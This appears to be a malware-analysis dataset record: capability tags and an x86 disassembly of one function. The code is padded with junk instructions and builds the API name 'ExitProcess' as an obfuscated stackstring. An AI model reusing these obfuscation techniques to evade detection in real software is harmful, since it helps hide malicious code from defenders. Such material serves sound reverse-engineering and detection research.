Function at 0x4186b0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push esi
push esi
add esp, 4
sub esi, 0xfcdd
jmp 0x418433
pop esi
push ebx
or ebx, 0x35d8
or ebx, 0x10e10
xor ebx, 0xb214
pop ebx
push ebx
jmp 0x418450
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x418499
push edi
push ecx
add esp, 4
or edi, 0x7d33
pop edi
push edx
xor edx, 0xa7f5
xor edx, 0x123c4
add edx, 0x91d5
or edx, 0x105a2
pop edx
push ecx
push edx
add esp, 4
add ecx, 0x13aec
pop ecx
jmp 0x4186c7
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push eax
push edi
add esp, 4
xor eax, 0xa5c2
add eax, 0x1adf
or eax, 0x7715
xor eax, 0x3dc3
pop eax
push eax
or eax, 0x18a7
and eax, 0x1510c
or eax, 0x43ba
pop eax
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x418548
push edx
sub edx, 0x6c09
or edx, 0x3dce
pop edx
push esi
push ebx
add esp, 4
sub esi, 0x2b4f
call 0x41852d
add byte [edx + 0x35], al
inc edi
cmp byte [edx + 0x45], cl
inc eax
cmp edi, dword [esi]
add esp, 4
add esi, 0x914
pop esi
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x418679
cmp dword [ebp - 0xc10], 0
jle 0x41866d
mov ds, word [eax]
add dword [eax], eax
invalid
mov ds, word [eax]
add dword [eax], eax
add byte [esi + 0x53], dl
push esi
push ebx
add esp, 4
xor esi, 0x4358
and esi, 0x579a
pop esi
push eax
push edx
add esp, 4
sub eax, 0x61fa
sub eax, 0x8fd1
pop eax
push edi
xor edi, 0x3180
or edi, 0x40d5
pop edi
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x418609
push eax
call 0x4185ac
add byte [ebx], dh
dec ebp
dec ecx
inc ebx
dec edi
cmp ecx, dword [eax + 0x47]
add esp, 4
call 0x4185bd
add byte [eax + 0x3d], cl
cmp byte [eax + 0x44], cl
inc ecx
inc ebp
add esp, 4
pop eax
push ecx
and ecx, 0xaa7b
and ecx, 0x2445
pop ecx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4185f1
mov dword [ebp - 0x14cc], 1
jmp 0x4185fb
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x41866d
push ebx
push ebx
add esp, 4
xor ebx, 0x16ed7
pop ebx
push edx
push esi
add esp, 4
or edx, 0xcf20
add edx, 0x109a2
xor edx, 0x4a6e
or edx, 0x49fc
pop edx
push ecx
and ecx, 0xad11
pop ecx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x418548
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x4186c2
push eax
push edi
add esp, 4
or eax, 0x17802
pop eax
push edx
add edx, 0x4587
add edx, 0x8bfd
jmp 0x4186a1
call 0x4186b0
add byte [esi], bh
dec esi
dec esp
inc ebp
cmp byte [edi], bh
inc esp
inc eax
add esp, 4
pop edx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x418703
jmp 0x418410
push ebx
xor ebx, 0x10e85
xor ebx, 0xf0ce
or ebx, 0xa210
pop ebx
push ebx
push ebx
add esp, 4
add ebx, 0x2662
pop ebx
push edi
push ecx
add esp, 4
jmp 0x4186f2
or edi, 0xb283
pop edi
mov dword [ebp - 0xa5c], 0
push eax
push ebx
add esp, 4
sub eax, 0xd467
pop eax
push edx
add edx, 0x11d2
or edx, 0xd849
pop edx
push eax
push esi
add esp, 4
sub eax, 0x555b
add eax, 0xec83
xor eax, 0xff0
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edi
push edi
add esp, 4
xor edi, 0xde64
jmp 0x41879c
pop edi
push ebx
push esi
add esp, 4
or ebx, 0xd10
sub ebx, 0x8d5a
xor ebx, 0x11d08
or ebx, 0x15233
pop ebx
mov ecx, 0x6b